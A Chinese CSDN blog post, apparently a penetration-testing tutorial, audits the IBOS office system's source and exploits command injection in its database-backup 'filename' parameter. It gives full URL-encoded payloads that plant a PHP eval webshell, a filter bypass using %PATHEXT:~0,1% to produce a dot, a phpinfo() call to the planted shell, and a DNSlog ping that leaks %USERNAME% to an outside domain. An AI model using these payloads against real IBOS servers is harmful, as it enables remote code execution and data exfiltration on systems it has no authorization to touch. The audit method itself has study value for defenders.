IBOS代码审计流程-文件上传(超详细)

本文介绍了如何对含有SeayDzend加密的源代码进行解密,随后进行代码审计,发现存在shell_exec漏洞。作者详细追踪了从解密、漏洞识别、利用数据库备份功能植入木马,直至通过DNSlog绕过防护并访问木马文件的过程。
摘要由CSDN通过智能技术生成

2.对源代码进行SeayDzend解密

因为在我们打开文件时会有一部分会出现代码是乱码的情况

C:\Users\gaolitao\IBOS\WWW\system\defines

因此我们需要在该源代码的基础上进行解密,这样才能更好的进行代码审计

这里正确填写Zend5.3的加密方式对其进行解密

将解密后的代码放入C:\Users\gaolitao\Desktop\newibos中

点击开始进行解密

当显示解密完成且出现newibos的文件夹时证明已经解密成功

点击newibos文件查找刚刚出现乱码的文件进行验证

发现乱码变成了正常代码,说明解密成功

3.代码审计

将解密后的代码放入代码审计工具中进行代码审计

进入代码审计页面并添加newibos项目

点击全局搜索

输入system(

发现没有漏洞

输入exec(

发现存在漏洞,然后根据ID一个一个进行排查

ID=1

发现curl_setopt_array — 为 cURL 传输会话批量设置选项不是我们需要的可控变量

ID=2

这里出现了shell_exec() — 通过 shell 执行命令并将完整的输出以字符串的方式返回

貌似可以,继续读代码找到可以控制的变量

shell_exec($mysqlBin . "mysql -h\"" . $db["host"] . ($db["port"] ? (is_numeric($db["port"]) ? " -P" . $db["port"] : " -S\"" . $db["port"] . "\"") : "") . "\" -u\"" . $db["username"] . "\" -p\"" . $db["password"] . "\" \"" . $db["dbname"] . "\" < " . $file);

这里的变量有$mysqlBin,$db, $file可能可控

继续分析

$mysqlBin

这里的mysqlBin 是从数据库查询出来的值不可控

$db

由这里可知$db是config.php里面的数据库配置的值,不可控

$file

这里urldecode — 解码已编码的 URL 字符串,不可控

在这里我们发现了shell_exec(存在三个变量,我们可以以此为出发点全局搜索shell_exec(

4.全局搜索shell_exec(

发现ID=1已经查找过了,剩下一个ID=2

ID=2

观察代码

shell_exec("{$mysqlBin}mysqldump --force --quick $command1 --add-drop-table $command2 $command3 --host=\"{$db["host"]}\" $command5 --user=\"{$db["username"]}\" --password=\"{$db["password"]}\" \"{$db["dbname"]}\" $tablesstr > $dumpFile");

这里出现了mysqldump这是MySQL自带的备份工具

命令格式如下
mysqldump [选项] 数据库名 [表名] > 脚本名

mysqldump [选项] --数据库名 [选项 表名] > 脚本名

mysqldump [选项] --all-databases [选项] > 脚本名

这里猜测后台会出现数据库备份功能

根据路径进行查找

真找到了数据库备份

这里可控的变量就有可能在这里面

最后一个参数$dumpFile就是脚本名,就是最后导出的文件名

追溯来源

$dumpFile = core\utils\addslashes(core\utils\PATH_ROOT) . “/” . $backupFileName . “.sql”;

$backupFileName = self::BACKUP_DIR . “/” . core\utils\str_replace(array("/", “\”, “.”, “’”), “”, $fileName);

$fileName = core\utils\Env::getRequest(“filename”);

这里可以看出$dumpFile 是与$fileName有关,且是与getRequest(“filename”)有关

5.用burp抓包

这里出现了filename

放包之后

在C:\Users\gaolitao\IBOS\WWW\data\backup中查到了我们刚刚提交的数据库

因此我们可以从这里入手插入一个一句话木马

6.插入一句话木马

111%26echo %22%3C%3Fphp eval(%24_REQUEST%5B8%5D)%3F%3E%22 %3E 777%25PATHEXT%3A%7E0%2C1%25php%26111

抓包

修改这里进行放包

放包后

再次点击提交

创建成功

这里查看真多了一个777.php文件

7.访问777.php

http://192.168.251.134/777.php?8=phpinfo();

发访问成功

8.一句话木马如何加密

111%26echo %22%3C%3Fphp eval(%24_REQUEST%5B8%5D)%3F%3E%22 %3E 777%25PATHEXT%3A%7E0%2C1%25php%26111

(1)首先用dnslog进行尝试

尝试进入终端cmd然后进行尝试ping,如果能ping通那么就证明是可以使用dnslog

ping s8ammk.dnslog.cn

尝试使用 ping %USERNAME%.dnslog.cn

这里的USERNAM表示的是系统变量用户名

%USERNAME%表示外载数据

输入set可以查看内置的系统变量



这里可以调用PATHEXT里面的.

使用echo %PATHEXT%可以查看其里面的内容

使用echo %PATHEXT:~0,1%

获取.

这里的~0,1就是表示输出第一个字符

因此这里先写入一句话木马

111&”<?php eval($_REQUEST[8]) ?>”>shel%PATHEXT:~0,1%php&111

进行url编码

111%26%E2%80%9D%3C%3Fphp%20eval(%24_REQUEST%5B8%5D)%20%3F%3E%E2%80%9D%3Eshel%25PATHEXT%3A~0%2C1%25php%26111

将url编码后的代码写入到抓的burp包中

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值